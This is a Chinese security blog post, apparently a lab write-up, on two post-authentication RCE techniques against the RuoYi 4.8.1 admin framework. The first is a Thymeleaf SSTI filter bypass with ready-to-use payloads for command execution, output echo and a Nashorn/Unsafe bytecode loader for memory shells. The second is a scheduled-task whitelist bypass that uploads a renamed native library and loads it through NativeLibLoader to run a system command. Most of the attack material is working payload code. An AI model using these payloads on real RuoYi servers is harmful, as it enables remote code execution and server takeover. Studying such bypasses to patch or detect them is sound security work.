不能通杀!!!略鸡肋
不过大佬的思路太强了,值得学习,膜拜Orz

环境搭建
下载:https://gitee.com/y_project/RuoYi
我这里下载的是4.8.1
新建数据库ry,然后导入sql/ry_20250416.sql
修改src/main/resources/logback.xml的日志路径地址
修改src/main/resources/application-druid.yml的数据库账号密码
最后启动即可

Thymeleaf模板注入
这个版本的Thymelea版本为3.0.15
该版本修复了T ()这样执行RCE,并且新增了检测机制containsExpression
看到org.thymeleaf.spring5.util.SpringRequestUtils#checkViewNameNotInRequest

对viewName、requestURI、paramNames都做了检测
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| private static boolean containsExpression(String text) { int textLen = text.length(); boolean expInit = false;
for(int i = 0; i < textLen; ++i) { char c = text.charAt(i); if (!expInit) { if (c == '$' || c == '*' || c == '#' || c == '@' || c == '~') { expInit = true; } } else { if (c == '{') { return true; }
if (!Character.isWhitespace(c)) { expInit = false; } } }
return false; }
|
检测关键字后面是否是{,如果是则返回true
看到后面的if (!Character.isWhitespace(c)),如果后面的字符不为空格,则expInit = false,又回到了第一个判断
如果我们连续使用两个$$,即
1 2 3
| $->走if->expInit = true $->走else->expInit = false {->走if->绕过检测
|
但是默认不支持$${}这种写法
这里官方文档给了我们答案

可以使用
1
| __|$${#response.addHeader("x-cmd","n4c1")}|__
|
等价于
1
| __'$' + ${#response.addHeader("x-cmd","n4c1")}__
|

最后就是绕过org.thymeleaf.spring5.util.SpringStandardExpressionUtils#containsSpELInstantiationOrStaticOrParam方法
其实跟3.1.2的绕过方法一样,通过new.绕过
RCE:
1
| __|$${new.java.lang.ProcessBuilder('bash','-c','open -a Calculator').start()}|__
|

回显
方法一:报错回显
1
| __|$${new.java.util.Scanner(new.java.lang.ProcessBuilder("bash", "-c", "whoami").start().getInputStream(),"GBK").useDelimiter("\\A").next()}|__::.x
|

这里需要在后面加上::.x,至于为什么,X1r0z师傅有解释:对 Thymeleaf SSTI 的一点思考
方法二:header头回显
1
| __|$${#response.addHeader('x-cmd',new.java.util.Scanner(new.java.lang.ProcessBuilder("bash", "-c", "ls").start().getInputStream(),"GBK").useDelimiter("\\A").next())}|__
|

方法三:字节码加载
1
| __|$${new.javax.script.ScriptEngineManager().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('open -a Calculator');")}|__
|
转换为通过Base64传参
1
| __|$${new.javax.script.ScriptEngineManager().getEngineByName("js").eval(new.org.apache.shiro.codec.Base64().decodeToString("amF2YS5sYW5nLlJ1bnRpbWUuZ2V0UnVudGltZSgpLmV4ZWMoJ29wZW4gLWEgQ2FsY3VsYXRvcicpOw=="))}|__
|
加载字节码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| try { load("nashorn:mozilla_compat.js"); } catch (e) {} function getUnsafe(){ var theUnsafeMethod = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe"); theUnsafeMethod.setAccessible(true); return theUnsafeMethod.get(null); } function removeClassCache(clazz){ var unsafe = getUnsafe(); var clazzAnonymousClass = unsafe.defineAnonymousClass(clazz,java.lang.Class.forName("java.lang.Class").getResourceAsStream("Class.class").readAllBytes(),null); var reflectionDataField = clazzAnonymousClass.getDeclaredField("reflectionData"); unsafe.putObject(clazz,unsafe.objectFieldOffset(reflectionDataField),null); } function bypassReflectionFilter() { var reflectionClass; try { reflectionClass = java.lang.Class.forName("jdk.internal.reflect.Reflection"); } catch (error) { reflectionClass = java.lang.Class.forName("sun.reflect.Reflection"); } var unsafe = getUnsafe(); var classBuffer = reflectionClass.getResourceAsStream("Reflection.class").readAllBytes(); var reflectionAnonymousClass = unsafe.defineAnonymousClass(reflectionClass, classBuffer, null); var fieldFilterMapField = reflectionAnonymousClass.getDeclaredField("fieldFilterMap"); var methodFilterMapField = reflectionAnonymousClass.getDeclaredField("methodFilterMap"); if (fieldFilterMapField.getType().isAssignableFrom(java.lang.Class.forName("java.util.HashMap"))) { unsafe.putObject(reflectionClass, unsafe.staticFieldOffset(fieldFilterMapField), java.lang.Class.forName("java.util.HashMap").getConstructor().newInstance()); } if (methodFilterMapField.getType().isAssignableFrom(java.lang.Class.forName("java.util.HashMap"))) { unsafe.putObject(reflectionClass, unsafe.staticFieldOffset(methodFilterMapField), java.lang.Class.forName("java.util.HashMap").getConstructor().newInstance()); } removeClassCache(java.lang.Class.forName("java.lang.Class")); } function setAccessible(accessibleObject){ var unsafe = getUnsafe(); var overrideField = java.lang.Class.forName("java.lang.reflect.AccessibleObject").getDeclaredField("override"); var offset = unsafe.objectFieldOffset(overrideField); unsafe.putBoolean(accessibleObject, offset, true); } function defineClass(){ var classBytes = "yv66vgAAA......"; var bytes = java.util.Base64.getDecoder().decode(classBytes); var clz = null; var version = java.lang.System.getProperty("java.version"); var unsafe = getUnsafe(); var classLoader = new java.net.URLClassLoader(java.lang.reflect.Array.newInstance(java.lang.Class.forName("java.net.URL"), 0)); try{ if (version.split(".")[0] >= 11) { bypassReflectionFilter(); defineClassMethod = java.lang.Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", java.lang.Class.forName("[B"),java.lang.Integer.TYPE, java.lang.Integer.TYPE); setAccessible(defineClassMethod); clz = defineClassMethod.invoke(classLoader, bytes, 0, bytes.length); }else{ var protectionDomain = new java.security.ProtectionDomain(new java.security.CodeSource(null, java.lang.reflect.Array.newInstance(java.lang.Class.forName("java.security.cert.Certificate"), 0)), null, classLoader, []); clz = unsafe.defineClass(null, bytes, 0, bytes.length, classLoader, protectionDomain); } }catch(error){ error.printStackTrace(); }finally{ return clz.newInstance(); } } defineClass();
|

编码的时候需要先Base64再URL编码,加载回显/内存马即可

为什么说鸡肋
存在漏洞的代码在:https://gitee.com/y_project/RuoYi/blob/v4.8.1/ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/CacheController.java

可以看到是3年前的代码,主要是这三个接口外加一个demo的接口:
1 2 3 4
| /monitor/cache/getNames /monitor/cache/getKeys /monitor/cache/getValue /demo/form/localrefresh/task
|
但是在:https://gitee.com/y_project/RuoYi-Vue 中

这四个接口都不存在Thymeleaf SSTI模板注入了
如今大部分网站都用的RuoYi-Vue,前后端分离的版本,gg
参考:
某依最新版本稳定4.8.1 RCE (Thymeleaf模板注入绕过)
Thymeleaf漏洞汇总
计划任务&文件上传RCE
很巧妙啊
关键点在于profile:src/main/resources/application.yml,需要知道文件的上传路径

若依的后台计划任务支持Bean调用和Class类调用,主要的代码逻辑在:com.ruoyi.quartz.util.JobInvokeUtil#invokeMethod
但根据版本迭代,在4.8.1版本中添加计划任务存在黑名单限制,com.ruoyi.quartz.controller.SysJobController#addSave

并且存在白名单检测:com.ruoyi.quartz.util.ScheduleUtils#whiteList

白名单字符串为:com.ruoyi.quartz.task
如果invokeTarget中包含白名单字符串,则能够添加计划任务
文件上传
存在文件上传接口/common/upload

可以看到上传的文件名前半部分可控

那么我们可以上传一个名字包含com.ruoyi.quartz.task字符串的文件
JNI RCE
在java中可以通过com.sun.glass.utils.NativeLibLoader#loadLibrary方法加载链接库
我们构造一个文件
1 2 3 4 5 6 7
| #include <stdio.h> #include <unistd.h> #include <stdlib.h>
__attribute__ ((__constructor__)) void angel (void) { system("open -a calculator"); }
|
gcc -arch x86_64 -shared -o 1.dylib calc.c
然后上传文件

这样就制造了一个白名单通道
由于我是mac系统,文件后缀必须为dylib

首先修改后缀名
1
| ch.qos.logback.core.rolling.helper.RenameUtil.renameByCopying("/Users/bmth/Web/代码审计/源码/RuoYi/RuoYi-v4.8.1/uploadPath/upload/2025/11/26/com.ruoyi.quartz.task_20251126171123A005.txt","/Users/bmth/Web/代码审计/源码/RuoYi/RuoYi-v4.8.1/uploadPath/upload/2025/11/26/com.ruoyi.quartz.task_20251126171123A005.dylib")
|
最后RCE
1
| com.sun.glass.utils.NativeLibLoader.loadLibrary('../../../../../../../../../../../Users/bmth/Web/代码审计/源码/RuoYi/RuoYi-v4.8.1/uploadPath/upload/2025/11/26/com.ruoyi.quartz.task_20251126171123A005')
|

由于必须知道文件上传的绝对路径,相对比较鸡肋
默认路径:
1 2
| Windows:D:/ruoyi/uploadPath Linux:/home/ruoyi/uploadPath
|
参考:ruoyi4.8后台RCE分析